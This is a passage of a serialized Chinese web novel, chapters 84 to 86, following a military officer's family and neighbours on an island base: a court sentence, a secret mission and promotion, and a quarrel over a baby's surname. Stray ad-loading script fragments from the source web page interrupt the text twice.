“小子也好啊,都好,都是自己身上的肉,没区别。”周子琰抱了抱冯天宝,“有八斤吧?” “七斤九两,累死我了,还剪了一刀,疼死我了,缝合的时候居然生缝,都不打麻醉的。做女人真遭罪。”冯薇很是无奈,谁想到呢,顺产的疼痛,远比新兵时期的超负荷训练受罪多了。 周子琰宽慰道:“都过去了,好好休息。结扎还是放环,好好跟孙谦商量,别吵架。月子里吵架伤身。” “我才懒得跟他啰嗦,他要是不肯结扎,我就跟他离婚呗。咱们女兵本来就要忍受生理期的痛苦,跟男兵一样接受训练,如果还要被节育环折磨,那还怎么过啊。一个男人,如果连这点都想不明白,那也没有必要再凑合下去了。”冯薇想得很开。 大不了去父留子。 反正孩子是她亲生的,她爸妈也愿意帮她带。 周子琰不好再说什么,回头孙谦又怨怪他们就不好了。 便笑了笑:“那你好好休息,我回去带新兵了。” “周姐,别太累,有时间也要多陪陪姐夫。我说真的,咱们六号楼这九个男人,就属他最顾家,什么都是主动考虑好了做好了。哪像其他人,结个扎根要了他们的命一样,又不是把他们剁了做太监,简直不可理喻。”冯薇越发意识到了吴旭东的难得。 都是孙谦衬托出来的。 周子琰明白:“放心吧,我有数。” 离开医院,周子琰看着头顶的蓝天,翱翔的海鸥,默默勾起了嘴唇。 她家小东确实难能可贵,所以,她这不是每天都在给他准备惊喜吗? 今天顺路,给他带一束玫瑰回去吧。 夫妻之间都是相互的。 一个愿意退居幕后,默默奉献,另一个却不能心安理得,坐享其成。 哪怕别的帮不上,起码也要提供一些情绪价值。 一束花而已,却可以让小东高兴一整天,何乐而不为。 刚到家里,电话响了。 周子琰见吴旭东在卫生间给女儿换尿布,赶紧拿起大哥大:“喂?” “子琰,是我。” “大表哥,是不是吴家栋他们的案子宣判了?” “是。” 84. 升职(二更) 周子琰开了免提,到卫生间去,让吴旭东一起听着。 简而言之,吴家栋一共是三件案子的主犯或者从犯—— 对汤正阳的故意伤害案,主谋之一。 对吴旭东的拐卖案,主谋之一。 私分国有资产罪,从犯之一。 数罪并罚,有期徒刑二十年,并处罚金十万。 对于他的姐夫们,因为在他当初变卖供销社的货物中获利,所以也被定性为“私分国有资产罪”。 因为是从犯,分别处以三年、五年、以及七年的有期徒刑,罚金分别为三万、五万、七万。 赵红梅和李财源则是故意伤害案的主犯之一,并且两人都是贿赂医院医生掉包孩子的主犯之一。 两罪并罚,一起被判处有期徒刑十三年。 当年帮忙的医生,如今已经是医院的主任医师,按受贿罪,和拐卖儿童罪判处,吊销执照,有期徒刑七年。 至于那些沆瀣一气的司机,帮忙的护士等,也都根据情节的不同,判了三到十年不等的刑期。 剩下李宏进,因为举报有功,所以刑期只多了三年。 听完这一板一眼的漫长的宣读,吴旭东默默松了口气。 “大表哥,辛苦你了。这几年的案子都是你在帮忙盯着,有空回来请你喝酒。” “客气什么?你跟子琰好好过,比什么都强。” “嗯。” “子琰,你最近很忙吧?也别光顾着忙,要多陪陪小东。他和正阳能活下来都不容易,你和蕾蕾要好好珍惜你们的家庭。” “放心吧哥,我有数。” “那我忙去了。” 挂断电话,周子琰把张牙舞爪的小调皮接到怀里抱着,伸手拉了吴旭东一把。 蹲在地上的男人,正是脆弱的时候,老婆伸过来的手就是帮助他彻底脱离苦海的安全索。 有她在,他的人生不会再有黑暗,只有无边的明媚,无尽的璀璨。 他站了起来,起猛了,有点晕。 干脆扑上来,把她们母女两个一起搂在了怀里。 言语是苍白的,此时此刻,一个大大的拥抱便已足够。 他紧紧地抱着老婆孩子,直到有人敲门,这才直起身来。 “你好,我找周指导。”一个陌生的女兵站在门口,面带微笑。 吴旭东赶紧把孩子接过来:“你快去看看,是不是部队有事。” 周子琰拽着他亲了一口,这才转身往门口走去。 “报告周指导,何政委请您去开会,有紧急任务。”女兵留着齐耳短发,穿着白色的军装,很是清爽利索。 周子琰赶紧转身,换上军装:“稍等,这就来。” 换好军装,她只来得及亲了亲阿澈,抱了抱吴旭东,便转身出去了。 吴旭东站在走廊上,目送她远去。 大概猜到了什么。 最近某个地区局势紧张,有传言要正式组建特种兵部队,还要组建海军陆战队。 他老婆那么优秀,大概率是被选上了。 如果真是这样的话,那他还是挺开心的。 虽然也担心老婆会很辛苦,会有危险,也许还会受伤。 可是一个军人,能有机会参与这种重大历史事件,那是多少人求之不得的。 是荣耀,也是晋升的必经之路。 他的老婆,可不是手不能提肩部能抗的娇娇女,他相信,她可以的。 不光可以胜任部队给她的任务,还会有出色的表现,光荣凯旋。 他不禁看着阿澈,说道:“看到没,妈妈要去执行任务了,叫一声妈妈,鼓励一下妈妈。” 小阿澈已经七八个月了,第一声叫的是爸爸,还不会叫妈妈。 这会儿在爸爸的鼓励下,小嘴巴动了动,喃喃道:“木马,木马!” 吴旭东很是惊喜,赶紧抱着孩子往楼下跑:“子琰,等等,阿澈叫妈妈了!” 走到门口马路上的周子琰下意识回头,正午阳光下,她挚爱的男人,正抱着胖呼呼的宝贝闺女,大步流星的跑着。 跑到她面前,一个劲的让阿澈叫妈妈。 小胖丫头眼神清澈,露出两颗小奶牙,脆生生的喊道:“木马,木马!” 周子琰高兴坏了,抱着小阿澈狠狠亲了一口:“阿澈真棒,在家要听爸爸的话哦!” “爸爸,木马!”小阿澈骄傲的挺直了小身板,阿澈很乖哒! 周子琰放心了,转身挥了挥手,矫健的步伐,英气的身姿,很快消失在明媚的骄阳之下。 吴旭东就这么默默的注视着她,仿佛看到了她荣耀加身的那一天。 想想就觉得激动。 狠狠亲了亲这个乖宝贝,吴旭东想起家门没关,赶紧往回走。 刚上楼梯,就看到李二蛋鬼鬼祟祟的佝偻着腰身蹿了出去。 跟个猴子一样。 不用问,光是看姿势就知道,肯定偷了东西。 他抱着孩子跟过去,李七海正在呼呼大睡。 而李二蛋为了不让吴旭东逮着自己,已经第一时间关了门。 吴旭东气得不行,直接敲了敲窗户:“七海,醒醒,你家二蛋怎么回事,又偷东西!赶紧开门,把我家阿澈的东西还回来!” 李七海懒洋洋的,没动。 最近王英下水去了,不在家,没人管得了他们父子。 无法无天的日子,一点紧迫感都没有。 吴旭东蹙眉,冷着脸道:“我给过你机会了,你要是再不开门,我可直接报警了。” “别别别!我来了,来了!”李七海赶紧下床,到了客厅一看,二蛋这个混小子果然抱着一堆玩具。 都是阿澈的。 他真是不理解,家里也不至于穷得揭不开锅,玩具也买了两个,虽然不如别人家的好,可也不是没有。 这小子怎么就喜欢盯着别人家孩子的东西呢? 赶紧把东西全都抢了过来,开了门,给吴旭东赔笑脸。 吴旭东侧身让开:“我抱着孩子呢,你给我送回去。” 李七海只能照做,回来的时候,却见吴旭东手里拿着鸡毛掸子,作势要打人。 吓得他赶紧把鸡毛掸子夺了过来:“小吴啊,消消气,他就是个孩子,你别跟他一般见识啊,你还要带阿澈呢,回头喊打喊杀的,吓到阿澈怎么办?” 吴旭东压根没想打李二蛋,不过是试试李七海的态度。 他冷着脸,一言不发的转身离去。 回到家里,看到那些被偷了又还回来的玩具,心中不免生出几分歹念。 真想设个局,好好整一整这个混账羔子。 可惜了,他家周子琰说不定要升了,这个节骨眼上,还是不要出什么乱子的好。 思来想去,他把那些玩具全部装进塑料袋里面,故意当着李二蛋的面,扔到了垃圾箱旁边。 李二蛋立马捡了回去,还不忘做个鬼脸,嘲讽一下吴旭东。 吴旭东不禁冷笑,这个蠢货,迟早要吃牢饭。 那李七海看着儿子把玩具又拿了回去,一头雾水:“你吴叔叔不是要走了吗,你又给偷回来了??” “没有啊,他把玩具扔了,他是不是嫌弃我,我摸过的,就不让阿澈玩了。”李二蛋是个人精,看得出来吴旭东对他的嫌弃。 自然会在言语间流露出来,跟他爸爸装可怜。 李七海听着果然不大高兴,蹙眉道:“那你就不能有点骨气?他扔了你还捡?你怎么这么便宜呢你?” “他都不要了啊!”李二蛋忍不住埋怨道,“你又不给我买。我捡的也不行吗?” “捡的也不行!咱家还没有穷到去捡破烂的地步!”李七海是护短,可他毕竟是个男人,自尊心很强。 吴旭东这么做,就是故意恶心他呢。 他的尊严当然受到了冒犯,他受不了了。 一向在老婆跟前护短的他,破天荒的,捡起那些玩具,一个一个往外扔,动静还挺大,好像故意做给吴旭东看看,他李七海的儿子,又不是叫花子,怎么会捡他家不要的玩具。 李二蛋急了,扑出去把玩具捡回来,刚放下,又被扔了。 如此几个来回,李二蛋恼了,扯着嗓子嚎啕大哭起来。 这下可把楼里的其他人都给惊动了。 张铁勺赶紧过来问问怎么了。 李七海哪有脸面说自己儿子偷人家玩具,掐头去尾的,只说吴旭东扔了一批玩具,被二蛋捡回来了,他不让二蛋捡,仅此而已。 张铁勺又不是傻子,一听就猜到肯定是二蛋偷了玩具,人家气不过才扔的。 只好劝道:“捡了就捡了呗,反正小孩子玩两天也就扔了,有什么大不了的。实在不行,你给他买新的去。” “说得轻巧,我哪有钱买新的?我不得攒钱给他买房子娶老婆?”李七海气死了,今天必须让二蛋改了这个臭毛病不可。 要不然整栋楼都得笑话他李七海没钱,居然让他儿子捡人家不要的玩具。 可是李二蛋被他惯坏了,哪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里听得进去,最终喜提“竹板炒肉丝”一顿。 挨打的惨叫声响彻整个楼道。 吴旭东在家,得意地冲女儿挑了挑眉:“爸爸厉害吧?” “爸爸!爸爸!”小丫头只会说几个简单的音节,多叫几声爸爸,四舍五入就是夸奖了。 吴旭东心情大好,抱着小胖猪猪,去海滩玩水去咯。 晚上周子琰回来,果然不肯告诉他这次要执行什么任务。 “我不是说过吗?就跟你去救大哥时一样,我也会有不能跟你说的时候。希望你理解。”周子琰不想让他担心,但是没办法,该保密的就是要保密。 吴旭东已经猜到了,他没说,只是默默地端出饭菜。 “吃饭,你做什么都不需要跟我解释。我是你的家人,支持你就是我唯一能做的贡献。”他抱着小胖猪猪,喂饭。 小丫头大概看懂了爸妈之间难以言说的气氛,吃完饭早早睡了,不吵也不闹。 夜深人静,吴旭东疯狂了一把。 大汗淋漓地躺下,他终于问道:“要封闭训练吗?还是要去别的地方?” “不能说。总之,年底会回来的。这段时间你回爸妈那里去吧,他们能帮你照顾一下阿澈。”周子琰是有点遗憾的,也不知道女儿周岁的时候自己能不能回来。 吴旭东明白,那就不问了:“放心做你的事,阿澈有我,我哪怕自己的命不要也不会让她出事。” “我不许你这样说!你们俩都是我最爱的人!一个都不准出事!”周子琰生气了。 为了惩罚他不会说话,要狠狠地动用家法。 吴旭东只得求饶。 第二天周子琰一早就起来了,亲了亲枕边人,再去婴儿床边喂了小乖乖最后一顿奶,打算就这么静悄悄地走了。 吴旭东赶紧扯住她:“等等,退奶的药。一定要吃,不要硬撑,会得病的!” “知道了。”周子琰拿上一大包中成药,塞进了行军包里。 临到门口,又跑了回来,抱着这个细心的男人,狠狠亲了一口:“等我回来!” “等你!”吴旭东抚摸着这张挚爱的面庞,轻轻推开了她。 周子琰走了。 不知道哪天会回来。 家里瞬间空了一块。 还好有女儿陪他。 吴旭东去婴儿床边查看尿布的时候,才发现这个小丫头早就醒了,瞪着水汪汪的眼睛,小嘴儿红红的,念叨着:“木马,木马!” 吴旭东笑着将她抱起来:“妈妈建功立业去咯,咱爷儿俩回去找爷爷奶奶姥姥姥爷玩儿吧!” “木马!木马!”小胖猪猪今天只爱念叨妈妈! 大概也在为远航的妈妈送上祝福吧。 接下来的时间里,吴旭东真就回城里去了。 亲妈已经好得差不多了,白天的时候跟着他照顾阿澈。 没办法,他一秒钟也不舍得女儿离开他的视线,去厂里店里全都要带着。 之前因为商春深那个白痴姑姑的事,两人的合作破裂。 现如今二姐给他介绍了几个大学生,他要准备正式筹办科技公司了。 他得选个好点的写字楼。 这一忙,很快就到了年底。 期间小阿澈过了个热热闹闹的周岁生日,还多了个小妹妹。 是三姑姑吴巷北生的,取名吴成杰。 吴旭东很喜欢这个名字,女孩子也要做杰出的大人物嘛! 真的很不错! 阿澈还多了个没有血缘关系的小妹妹,云朵家的胡甜甜。 比吴巷北的孩子小一个月。 年底的时候,另外一个小弟弟也在赶来的路上。 是阿澈自己姨姨和大伯的孩子,腊月十九生的,取名安展搏。 展开羽翼,搏击蓝天的意思。 当安小蕾出了产房,周子琰回来了。 可惜她还要述职,要过两天才能出岛。 收到消息,吴旭东第一时间赶回岛上。 迎接他的,不再是周指导。 而是一个更加成熟稳重的女军官。 一岁多的小阿澈,居然还记得妈妈呢,脆生生的喊了一声妈妈,撇下爸爸,小短腿吭哧吭哧的,一溜烟飞奔到了妈妈怀里。 “妈妈!回家!” 周子琰笑着抱起女儿,伸手搂住了男人的胳膊:“回家,跟爸爸一起。” “高升了?”吴旭东好奇,看她的肩章,不太一样了。 周子琰笑笑:“你猜?” 85. 跳级 吴旭东猜不出来。 “总之,你走的时候还是两杠一星,现在多了一颗星星,肯定是升了。不过我不清楚你具体去了哪个部门,担任什么职务。”吴旭东打开家门,让母女俩进去。 两口子分开了大半年,他现在满脑子就一个念头,他老婆看起来没病没痛的,好端端的回来了。 这比什么都强。 至于什么升职加薪,那都是锦上添花。 他只在乎她这个人。 周子琰也盯着他看。 冷白皮的男人,好像怎么也晒不黑。 即便去城里忙事业,也还是白白净净的,往那一站,像是一株挺拔的白杨,踏实又可靠。 好在,她也是一棵参天大树,可以跟他并肩而立,共同面对一切风雨。 他把钥匙放下:“你陪阿澈玩一会儿,我来做饭。不知道你今天要回来,没准备,下点面条行不行?” 毕竟有阵子没回来了,冰箱里没有菜。 周子琰无所谓:“有鸡蛋吗?没有的话去找小刘借点儿,明天再还。” “嗯,我去借。”吴旭东把大哥大递给她,“蕾蕾姐刚生了个小子,你赶紧打个电话过去。” 周子琰很是意外:“我姐生了?哎呀,真想去医院看看。” “没事,我在医院陪大哥守了两天两夜,我去了等于你去了。”吴旭东宽慰道,“再说了,你等会不是还要去部队吗?蕾蕾姐不会跟你计较的。” “嗯,辛苦你了小东。”周子琰赶紧打电话。 安小蕾虚弱得不行,苦笑道:“还是你顺利,半天就生出来了,我怀的是个哪吒,疼了我两天两夜才出来,气死我了,真想把他痛揍一顿。” “人没事就好,这年头只准生一个,只遭这一次罪也就够了。大哥愿意去结扎吗?”周子琰心疼姐姐,不想让姐姐上环结扎。 安小蕾笑笑:“这还用说吗?已经做完手术了。” “那就好,刚开始半年记得继续做措施。” “你真当你姐一孕傻三年啊?” “嘿嘿,你本来就傻。” “周子琰,你又皮痒了是吧?” “哎呦,挺精神的嘛,看来我不用担心了。” 挂断电话,周子琰抱着怀里沉甸甸的胖猪猪,怎么看也看不够。 “阿澈,在家有没有听爸爸的话?” 小胖乖伸手摸了摸妈妈的脸蛋儿,歪着小脑袋,笑道:“听哒!” “小阿澈这么乖呀,阿澈有小弟弟了,开不开心呀?” “弟弟!开心!”小胖乖还记得医院里看到的那个小不点儿呢。 想了想,比划了一下:“弟弟,小。” “哈哈哈。”当妈的很开心,小乖乖虽然还不能说完整的句子,但是仅凭几个关键词,已经能够清晰的表达自己的想法了。 真好。 忍不住抱着小乖乖,亲了又亲。 * 刘敏杰正在吃饭,见到吴旭东回来,很是意外:“姐夫,好阵子没见到你了哎,我姐回来了吗?” “回来了。”吴旭东说明来意,曹景润赶紧去了厨房。 刘敏杰放下筷子:“听说我姐去侦查科了?” “不知道。”吴旭东没问呢。 不过如果周子琰真的调去了侦查科,那挺好的。 那可是团级单位,也就是说,周子琰现在最低也是副团级的干部了。 刘敏杰显然听到了什么,问道:“那她的星星有没有多一颗?” “多了。”吴旭东接过鸡蛋,曹景润还抓了一篮子青菜出来,一起塞给了他。 刘敏杰很开心:“看来我朋友说的是真的,我姐真厉害,好多男同志都被她比下去了!” “我回家问问,有空过来玩。”吴旭东赶紧回去了。 老婆孩子还饿着呢。 这两天他在医院陪大哥,自己也没怎么吃东西。 等他走了,刘敏杰还是忍不住惊叹:“我姐怎么这么厉害呢?不到三十就两颗星星了,太牛了,我要向她看齐!” 曹景润鼓励道:“加油,周姐升了,侦查营这边也不知道是谁接她的班。说不定你也可以呢?” “我不行,周姐的成功是不可复制的。她刚进部队的第一年就立了大功,后来基本上每年都会立功的,也就生孩子那一年耽误了。还好老天没有抛弃她,让她赶上了这次的机会。真是太好了。有她做表率,以后还有谁敢歧视我们女兵!”刘敏杰不是小家子气的人。 一点也不嫉妒,只会感到自豪。 这可是她周姐,她的人生导师! 曹景润想想也对,不过他还是安慰道:“那你也别气馁,就算现在不行,过几年也是可以的。不就是熬资历吗?大家都在熬。” “嗯,吃饭吧,明天我去医院看看,怎么这个月例假没来。”刘敏杰也打了申请,不过奇怪的是,肚子一直没有动静,希望这次是小生命来报道了吧。 这样的话,楼里这几家的孩子岁数相差不大,可以玩到一块儿去。 想到这里,刘敏杰又去冰箱看了看,见里面还有块五花肉,直接拿了出来:“我给周姐送去。” “能行吗?不是说小孩子不能吃冰箱里过夜的东西吗?这肉还是我昨天买的。”曹景润并不小气,他刚刚就想拿了,只是怕小孩子吃了不好。 刘敏杰哭笑不得,也不知道这家伙从哪里听来的谣言,宽慰道:“这有什么的,等会煮熟了就把细菌都杀死了,不怕。” 曹景润松了口气:“那就好,卖肉的大爷说的,说他孙子吃了隔夜的肉拉肚子。” “那是煮熟了的,隔夜了没有重新回锅,有细菌。这是没煮的,等会煮熟了哪还有细菌,没事的。”刘敏杰出去了。 在走廊里正好遇上了冯薇。 冯薇也是听到楼梯那头传来了做饭的声音才知道周子琰回来了,正准备过去打个招呼。 见刘敏杰拿着一块五花肉,索性也转身回家里,拿了一条鲫鱼出来。 不过周子琰知道她还在喂奶,不肯收,倒是收了刘敏杰的五花肉。 冯薇有点不高兴:“周姐,你可不能偏心啊,收她的不收我的。” “这说的什么话,你在哺乳期呢,我怎么好跟你抢吃的,快拿回去吧,我们两大一小,有肉有菜足够了。”周子琰还是不肯收。 冯薇只好作罢。 转身的时候看到了沙发上的军装,她盯着上面的肩章,目瞪口呆:“周姐,听说你升了,真的吗?” “嗯。”周子琰去厨房倒了两杯水出来。 小阿澈自己坐在沙发上玩,一点也不闹腾。 冯薇羡慕得不行,问道:“是正团级吗?” “不是,副的。”周子琰把水放下,抱着孩子道,“阿澈,叫人没有?这是冯姨姨,这是刘姨姨。” “姨姨好!姨姨好!”小阿澈奶声奶气的,连着两声,可爱极了。 刘敏杰羡慕得不行,赶紧抱了抱这个小乖乖:“哎呦,半年不见,小阿澈都长这么大了,这得有三十斤了吧?” “三十二斤。”吴旭东在厨房忙碌,随口应了一句。 刘敏杰惊叹不已:“乖乖,都三十二斤了?我嫂家的孩子都四岁了才二十八斤,咱这小阿澈也太能吃了吧?怪不得这么压手呢。” “块头也大,像是人家三四岁的小孩儿。”冯薇也觉得不可思议,这孩子将来得有多高啊。 再想想她家天宝,哎。 生下来倒是白白胖胖的,可惜她奶水不好,孩子瘦。 刘敏杰也想到了,劝道:“你得多喝点鱼汤催奶,实在不行就让孩子喝点奶粉,阿澈不就是母乳和奶粉混着来的吗?” “奶粉也太贵了吧。”冯薇级别不高,工资也就那点儿。 刘敏杰不理解:“那怕啥的,孙谦不是跟着何东升跑药材去了吗?这点钱都没有?再说了,又不是家里孩子多,就这么一个宝贝,他一个当老子的居然不舍得花钱?” “你还不知道他?跟我闹了好几个月了,孩子不跟他姓,他心里憋着一口气呢。”冯薇叹气。 人跟人的差距比人跟狗的还大呢。 真是气死了她了。 刘敏杰理解不了:“这孙谦怎么回事?孩子不跟他姓就不是他的种了?照他这么想,这几千年来,孩子都不跟咱们女人姓,当妈的是不是都要撒手不管啊。还大学生呢,真是不可理喻。” “能怎么办?几千年的传统,他觉得他没面子。”冯薇也是受气受够了,实在不行,离吧。 本来这个狗男人就骗了她,明明婚前跟别人乱搞了,却骗她是个清清白白的好男人。 要不是怀孕了,她早离了。 现在既然孙谦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 非要闹,那就不过了。 刘敏杰察觉到她的态度,赶紧拉着她坐下:“如果只是为了孩子的姓就闹成这样,也太匪夷所思了吧?是不是你们之间还有别的什么误会啊?” “还能有什么误会?不就是他跟云朵的事。云朵是无辜的,我不会迁怒云朵,可是我生他的气啊。”冯薇已经考虑过了。 这事她不会退让的。 她总不能为了让孙谦顾家顾孩子,进而委屈自己让孩子改姓吧? 本来就是孙谦有过错在先。 周子琰知道她的想法,总之,这事不太好搀和。 好不好的,以后都要遭人埋怨。 所以她转移了话题:“孩子现在是谁带?” “他想让他妈妈来带的,我没让。”冯薇已经做好了决裂的决心,所以孩子是她娘家妈妈在带。 周子琰很是意外:“那你坐月子是谁照顾的?” “我妈呀。他妈妈一听孩子跟我姓,气得一次都没来看过我和孩子。所以我怎么可能让他妈妈来带孩子,我是什么很下贱的人吗?”冯薇本来就委屈,这下直接红了眼眶。 周子琰也觉得对方过分了。 不过是个姓而已,连看都不来看一眼,这跟断绝关系有什么区别呢? 难怪孙谦这么会闹。 一家子没一个好东西。 周子琰斟酌再三,说道:“说实在的,我很忙,不想多事,也不想遭人怨恨。不过你们既然闹成这样了,是该好好考虑一下怎么解决了。要不这样,晚上他回来,你们一起到我这边来,我们尽量做做他的工作。如果他实在是不听,我们也无能为力。” “周姐,谢谢你。总之,我是不会妥协的,本来就是他骗我在前。”冯薇擦擦眼泪,起身道,“我就不打扰你们休息了,晚上再来。” 冯薇走后,刘敏杰忍不住嘀咕了两句:“哎,周姐,你也不怕自己惹一身骚。” “看她哭得那么伤心,没忍住,你可别学我。”周子琰也有些懊悔。 多这个事做什么,可是冯薇也太可怜了吧。 整件事情,只有她和孩子是无辜的。 不忍心啊。 刘敏杰当然明白周姐也是好心,只是担心那孙谦…… 算了,总之她跟周姐共进退就是了。 于是她起身道:“晚上我跟我家景润也来。” 周子琰哭笑不得,谁让小刘是她带出来的呢,师徒两个一起心软了,也算是一脉相承了。 吃饭的时候,周子琰震惊不已:“呦,阿澈都会自己拿筷子啦!” “嗯,奶奶教的,对吧阿澈?”吴旭东骄傲得很,“不光会自己吃饭了,拉大便和尿尿都会说,断奶之后一次没有尿床拉床上,不信你问问。是吧阿澈?” “阿澈,棒棒!”小阿澈神气活现的,骄傲得很,说话的时候两个羊角辫儿一晃一晃的,可爱极了。 周子琰高兴坏了,狠狠亲了亲父女两个:“今晚阿澈跟谁睡?” “自己睡!”小阿澈很独立,每天都睡自己的小床床。 周子琰简直不敢置信:“这家伙不是很粘人的吗?现在都是自己睡了?” “嗯,断奶之后都是自己睡的,不过要抱一个布偶才行。”吴旭东回来得着急,没带布偶。 赶紧给周子琛打了个电话,让他给送过来。 挂断电话,他跟周子琰解释道:“子琛在家闷得慌,到我那个科技公司去帮忙了,我让他做了个文员,活儿少,轻松,没事的时候就构思构思小说,正好公司里都是年轻人,大学生,比较聊得来。” “真好,公司在哪里?有空我也去看看。”周子琰不意外,她离开了大半年,小东肯定不会原地踏步的。 公司筹办起来是理所应当的事。 吴旭东掏出名片,递给了周子琰。 周子琰笑了:“吴总,听着就很帅,对吧阿澈爸爸。” “是啊阿澈妈妈,快吃,别饿着了。”吴旭东笑着挑眉。 晚上周子琰回来,一眼便看到了西装革履的弟弟。 不禁啧啧称奇:“可以啊子琛,挺像那么回事儿的。” “周副科长,你也很可以!”周子琛笑嘻嘻的,把怀里的小阿澈往姐姐面前塞。 一家子刚坐下准备吃饭,隔壁的隔壁传来了吵架的声音。 孙谦回来了。 86. 妥协(二更) 周子琰大半年没有回来了。 她不想回来的头一晚就被吵闹声破坏。 更何况,阿澈还那么小,被吓到了怎么办? 所以她第一时间放下了筷子,叮嘱道:“子琛,你在家里陪阿澈,我跟你姐夫出去看看。不管多大动静,你都别让阿澈出来。” “知道了姐,你们小心。”周子琛很喜欢跟阿澈待在一起。 这家伙就是个小马屁精,不管舅舅给她念什么故事她都格外捧场。 周子琛很享受这种被小娃娃吹捧的感觉。 谁让他自己也是个幼稚鬼呢。 周子琰见他娴熟的把帮阿澈擦了擦嘴巴,放心的出去了。 走廊上另外几家也都探头探脑的,不知道要不要去劝架。 见到周子琰跟吴旭东出来,赶紧凑过来。 “周姐,你可算回来了,他们天天吵,也没人敢管。” “是啊周姐,一开始我们还劝了几次,结果孙谦逮谁凶谁,简直不讲道理。” “周姐,你小心点,他现在像个神经病,上次政委也来劝过,把政委气走了。” 几个女兵交头接耳的,生怕周子琰吃亏。 周子琰点点头:“你们回去吃饭,我来处理。” “我也来。”刘敏杰叫上曹景润,一起赶了过来,“你们都回去吧,人多了也不是好事,有的人人来疯,人越多越是要面子,越喜欢唱反调对着来。” “那倒也是,那你们小心啊。”女兵们纷纷回去了。 周子琰站在门口听了两耳朵。 吵架的原因很简单,孙谦的丈母娘是四川人,喜欢吃辣,做的菜全都是辣的。 孙谦本来就对孩子的姓氏有意见,正好借题发挥。 何况冯薇还要喂奶,喂奶怎么能吃辣的。 那不是故意伤害孩子的身体吗? 周子琰跟吴旭东对视一眼,吴旭东明白,他转身回去,把阿澈喝的奶粉拿了一罐过来。 随后敲了敲门。 孙谦气头上,本来没想理,扭头一看,来的是吴旭东,只得给了三分薄面。 他臭着脸坐下:“你来干什么?推销奶粉啊?我可买不起。” 吴旭东没好气的把奶粉摆在他面前:“无能的男人才会大呼小叫。孙谦,你是个大学生,你的温良恭俭让都学到狗肚子里去了?” “就是,你看看你现在什么样子?知道泼妇这个词吗?拜你所赐,今后这世上还会多一个词,叫泼夫!”曹景润被刘敏杰推了一把,进来帮腔。 男人劝男人,女人劝女人,分工明确。 孙谦跟曹景润关系一般,但是这栋楼里,谁不知道刘敏杰是周子琰带出来的兵。 夫凭妻贵,只要孙谦不想得罪周子琰,就要给刘曹妇夫一点面子。 只得冷着脸别过头去不说话。 周子琰见他消停下来了,便跟刘敏杰一起进来了。 两人看了看餐桌上的饭菜,周子琰不客气的数落起冯薇:“小冯啊,不是我说你,难怪你奶水不好,哺乳期能这样吃吗?是不是你自己任性,非要阿姨给你做辣的?” 冯薇本能的想辩解,转念一想,这不是增加她妈妈和孙谦的矛盾吗? 便揽下了这个责任:“是我不好,总觉得嘴里没味儿,想吃点辣的。” 一旁的冯母想要说点什么,立马被刘敏杰挽住胳膊,戴起了高帽子:“我说呢,阿姨怎么会这么糊涂,明知你喂奶还要做辣的。你呀,不能仗着阿姨宠你就那么任性。对吧阿姨。” 冯母讪讪的,勾了勾嘴角,没说什么。 其实她给冯薇做了清淡的,只是她对孙谦这个女婿不满意,每次孙谦回来,她都会故意摆上辣的。 要问为什么,简单,气的呗。 气亲家母到现在不来看冯薇和孩子,也气孙谦拎不清,为了孩子的姓氏连家用都不出了。 真不要脸。 媪婿两个斗法也不是一天两天了,谁也不肯低头。 谁想到忽然来了几个多事的。 当初周子琰去医院看望冯薇的时候,她就见过周子琰。 如今周子琰还升了,她自然不敢得罪,只能附和了刘敏杰几句。 眼看着两边都消停下来了,周子琰便起身把门关上,拉上窗帘,好好给这家人梳理梳理症结所在。 能过就过,不过就散,别在这里扰乱其他人的正常生活。 她把冯天宝抱起来掂了掂:“这都半岁了吧,怎么掂着也就十斤左右?孙谦啊,不是我说你,你好歹也是跑药材的,拿点钱给孩子买奶粉都舍不得吗?” “谁说我舍不得了?我就算跟冯薇吵架,也不至于拿孩子撒气。”孙谦立马反驳。 周子琰不禁蹙眉,哦? 可是冯薇不是这么说的。 看来这两口子有误会。 她喜欢直来直去,便问道:“那你钱呢?” “前阵子雨水多,药材被泡坏了,亏了。我本来打算找何东升借点儿,可是他也亏了,后来我找我爸妈拿了点儿,被我丈母娘知道了,直接扔地上不肯要。不信你问她!”孙谦也委屈呢,吵架归吵架,他还不至于这么没有人性。 不过是两口子中间横着一个丈母娘在挑唆。 他也要面子的,自己爸妈拿的钱被丈母娘扔在了地上,难道还要他上赶着再去讨好丈母娘吗? 周子琰一听,立马看向冯薇:“有没有这回事?” “我不知道啊,我妈……”冯薇话到一半,沉默了。 糟了,看来是她误会孙谦了。 还是她妈妈从中作梗的。 她只能把话咽下去,讪讪的摇了摇头:“孙谦没说。” “我倒是想跟你说呢,可是你现在眼里有我吗?我跟你说过的吧,我做生意亏了,等我想想办法,你根本不信,只觉得我是在找借口。天地良心,我就算再不是个东西,也不至拿孩子撒气。分明是你妈不讲道理,既然嫌弃我爸妈的钱,那就这样呗,等我什么时候把钱赚回来了再说。”孙谦终于扳回一局,很是得意。 叫周子琰一个眼神扫过去,立马端正了态度,坐好了。 周子琰本来还想给冯薇的妈妈留点面子,毕竟是个长辈。 谁想到这个长辈在女儿女婿之间使坏呢? 只能冷着脸问道:“阿姨,你真把钱扔了?” “我女儿还是有骨气的,不食嗟来之食。”冯母有点文化,文绉绉的。 周子琰被她气笑了:“我不懂,是骨气重要,还是天宝的身体重要?这样,你明天带孩子去医院做个检查,看看他是不是营养不良。一个部队女军官的孩子,居然会营养不良,传出去要笑掉大牙的!” 冯母张了张嘴,想反驳,叫刘敏杰扯了扯,只得闭嘴了。 周子琰起身,把孩子塞到孙谦怀里:“愣着干什么?让小东教你冲奶粉去啊!实在没钱我们借你。你家天宝半岁了才十斤,像话吗?真要是把孩子弄出个好歹来,有你们后悔的时候。” 孙谦赶紧去厨房,让吴旭东帮忙。 家里没有奶瓶,只好先把阿澈的备用奶瓶拿过来烫烫。 “明天我买了还你。”孙谦手里紧张,但是买个奶瓶的钱还是有的。 周子琰摇头:“不用,你们用吧。冯薇你跟我过来,小刘你陪阿姨说会话。” 刘敏杰明白,这是要她劝劝冯母,本来两口子矛盾就不小,冯母这么一搀和,直接完蛋。 肯定是要劝劝的,毕竟孙谦也不是故意不拿钱的。 等周子琰领着冯薇出去了,刘敏杰赶紧做起了冯母的思想工作。 原则就一个,晚辈要你帮忙带孩子,你只管带孩子就行了,千万不要搀和他们两口子的生活。 